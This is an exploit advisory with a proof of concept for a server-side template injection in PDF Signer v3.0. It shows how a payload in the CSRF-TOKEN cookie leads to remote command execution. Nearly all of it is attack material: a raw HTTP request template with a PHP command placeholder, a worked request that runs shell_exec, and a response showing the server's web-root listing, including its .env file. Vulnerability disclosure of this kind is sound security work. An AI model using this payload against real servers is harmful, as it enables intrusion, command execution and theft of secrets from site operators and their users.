PDF Signer 3.0 - Server-Side Template Injection leading to Remote Command Execution (via Cross-Site Request Forgery Cookie)

# Exploit Title: PDF Signer v3.0 - SSTI to RCE via CSRF Cookie
# Dork: N/A
# Date: 2019-01-28
# Exploit Author: dd_ ([email protected])
# Vendor Homepage: https://codecanyon.net/user/simcy_creative
# Software Link: https://codecanyon.net/item/signer-create-digital-signatures-and-sign-pdf-documents-online/20737707
# Version: v3.0
# Tested on: PHP/MySQL (PHP 7.2 / MySQL 5.7.25-0ubuntu0.18.04.2-log)
# Vendor Banner: Signer v3.0 – Create Digital signatures and Sign PDF documents
# Research IRC: irc.blackcatz.org #blackcatz

# Vulnerability: Server-Side Template Injection leading to Remote Command Execution due to improper Cookie handling and improper CSRF implementation.

# POC:
# 1)

GET / HTTP/1.1
Host: signer.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://signer.local/signin/?secure=true
Connection: close
Cookie: CSRF-TOKEN=rnqvt{{[PHP_COMMAND_HERE]}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl
Upgrade-Insecure-Requests: 1

# Example

[REQUEST]

GET / HTTP/1.1
Host: signer.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://signer.local/signin/?secure=true
Connection: close
Cookie: CSRF-TOKEN=rnqvt{{shell_exec('ls -lah')}}to5gw; simcify=uv82sg0jj2oqa0kkr2virls4dl
Upgrade-Insecure-Requests: 1

[RESPONSE]

--half way down page---snip--

<label>Folder name</label>
<input type="text" class="form-control" name="foldername" placeholder="Folder name" data-parsley-required="true">
<input type="hidden" name="folder" value="1">
<input type="hidden" name="folderid">
<input type="hidden" name="csrf-token" value="rnqvttotal 112K
drwxr-xr-x  9 www-data www-data 4.0K Jan 28 12:04 .
drwxr-xr-x  6 www-data www-data 4.0K Jan 28 06:19 ..
-rw-r--r--  1 www-data www-data 1.1K Jan 28 12:03 .env
-rw-r--r--  1 www-data www-data  532 Jan  9 20:52 .htaccess
drwxr-xr-x  9 www-data www-data 4.0K Jan  9 20:53 assets
-rw-r--r--  1 www-data www-data  947 Jan  9 20:52 composer.json
-rw-r--r--  1 www-data www-data  54K Jan  9 20:52 composer.lock
drwxr-xr-x  2 www-data www-data 4.0K Jan 28 11:59 config
-rw-r--r--  1 www-data www-data 1.7K Jan  9 20:52 cron.php
-rw-r--r--  1 www-data www-data  169 Jan  9 20:52 index.php
drwxr-xr-x  3 www-data www-data 4.0K Jan  9 20:53 lang
drwxr-xr-x  6 www-data www-data 4.0K Jan 28 11:46 src
drwxr-xr-x  9 www-data www-data 4.0K Jan  9 20:53 uploads
drwxr-xr-x 24 www-data www-data 4.0K Jan  9 20:53 vendor
drwxr-xr-x  6 www-data www-data 4.0K Jan  9 20:53 views
to5gw" />
</div>
</div>
</div>

--- snip ---